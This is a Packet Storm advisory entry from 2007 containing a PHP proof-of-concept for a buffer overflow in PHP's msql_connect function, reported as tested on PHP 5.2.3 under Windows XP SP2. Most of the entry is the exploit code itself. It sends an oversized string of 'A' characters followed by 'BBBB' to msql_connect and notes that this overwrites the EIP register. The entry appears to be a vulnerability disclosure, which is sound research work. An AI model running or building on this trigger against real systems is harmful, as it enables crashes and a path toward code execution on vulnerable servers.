phpmsql-overflow.txt

2007-08-08T00:00:00
ID PACKETSTORM:58313
Type packetstorm
Reporter Nima Ghotbi
Modified 2007-08-08T00:00:00

Description

                                        
                                            `<?php  
  
##########################################################  
###----------------------------------------------------###  
###----PHP mSQL (msql_connect) Buffer Overflow PoC-----###  
###----------------------------------------------------###  
###-Tested on 5.2.3 (XP SP2)---------------------------###  
###----------------------------------------------------###  
###-Author:--NetJackal---------------------------------###  
###-Email:---nima_501[at]yahoo[dot]com-----------------###  
###-Website:-http://netjackal.by.ru--------------------###  
###----------------------------------------------------###  
##########################################################  
  
if(!function_exists('msql_connect'))  
die('mSQL extension is not available');  
  
#msql_pconnect(str_repeat('A',49424).'BBBB');  
  
msql_connect(str_repeat('A',49424).'BBBB'); # EIP => 42424242  
  
?>  
  
`